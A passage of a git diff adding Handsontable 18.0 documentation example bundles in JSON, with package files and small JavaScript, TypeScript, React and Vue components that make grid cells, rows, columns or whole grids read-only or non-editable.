\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, _col, prop) {\n return hot.getDataAtRowProp(row, prop as string) === 'Nissan' ? { editor: false } : { editor: 'text' };\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example4.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example4","exampleTitle":"To disable a cell (2)","docPermalink":"/disabled-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.js.json new file mode 100644 index 00000000..5a59c62a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Disabled cells · To disable a cell · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleReadOnlyGrid');\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n // make the entire grid read-only\n readOnly: true,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/exampleReadOnlyGrid.js","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"To disable a cell","docPermalink":"/disabled-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.ts.json new file mode 100644 index 00000000..2f735cc6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Disabled cells · To disable a cell · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleReadOnlyGrid')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n // make the entire grid read-only\n readOnly: true,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/exampleReadOnlyGrid.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"To disable a cell","docPermalink":"/disabled-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example1.tsx.json new file mode 100644 index 00000000..7969d48f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Disabled cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/disabled-cells/react/example1.tsx","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/disabled-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example2.tsx.json new file mode 100644 index 00000000..4b50bf4a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Disabled cells · To disable a row · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row, col) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (hot.getData()[row][col] === 'Nissan') {\n cellProperties.readOnly = true;\n }\n\n return cellProperties;\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/disabled-cells/react/example2.tsx","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example2","exampleTitle":"To disable a row","docPermalink":"/disabled-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example3.tsx.json new file mode 100644 index 00000000..b5e3526c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Disabled cells · To disable a column (non-editable) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/disabled-cells/react/example3.tsx","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example3","exampleTitle":"To disable a column (non-editable)","docPermalink":"/disabled-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example4.tsx.json new file mode 100644 index 00000000..8b299413 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Disabled cells · To disable a cell (2) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row, _col, prop) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (hot.getDataAtRowProp(row, prop as string) === 'Nissan') {\n cellProperties.editor = false;\n } else {\n cellProperties.editor = 'text';\n }\n\n return cellProperties;\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/disabled-cells/react/example4.tsx","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example4","exampleTitle":"To disable a cell (2)","docPermalink":"/disabled-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__exampleReadOnlyGrid.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__exampleReadOnlyGrid.tsx.json new file mode 100644 index 00000000..8153f97b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__react__exampleReadOnlyGrid.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Disabled cells · To disable a cell · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleReadOnlyGrid\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/disabled-cells/react/exampleReadOnlyGrid.tsx","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"To disable a cell","docPermalink":"/disabled-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example1.vue.json new file mode 100644 index 00000000..e9f90e75 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Disabled cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/disabled-cells/vue/example1.vue","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/disabled-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example2.vue.json new file mode 100644 index 00000000..3bb4a525 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Disabled cells · To disable a row · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/disabled-cells/vue/example2.vue","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example2","exampleTitle":"To disable a row","docPermalink":"/disabled-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example3.vue.json new file mode 100644 index 00000000..39e02d3c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Disabled cells · To disable a column (non-editable) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/disabled-cells/vue/example3.vue","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example3","exampleTitle":"To disable a column (non-editable)","docPermalink":"/disabled-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example4.vue.json new file mode 100644 index 00000000..4d948baf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Disabled cells · To disable a cell (2) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/disabled-cells/vue/example4.vue","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example4","exampleTitle":"To disable a cell (2)","docPermalink":"/disabled-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__exampleReadOnlyGrid.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__exampleReadOnlyGrid.vue.json new file mode 100644 index 00000000..9187f944 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__vue__exampleReadOnlyGrid.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Disabled cells · To disable a cell · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleReadOnlyGrid\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/disabled-cells/vue/exampleReadOnlyGrid.vue","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"To disable a cell","docPermalink":"/disabled-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example1.ts.json new file mode 100644 index 00000000..6e56382d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Standard example 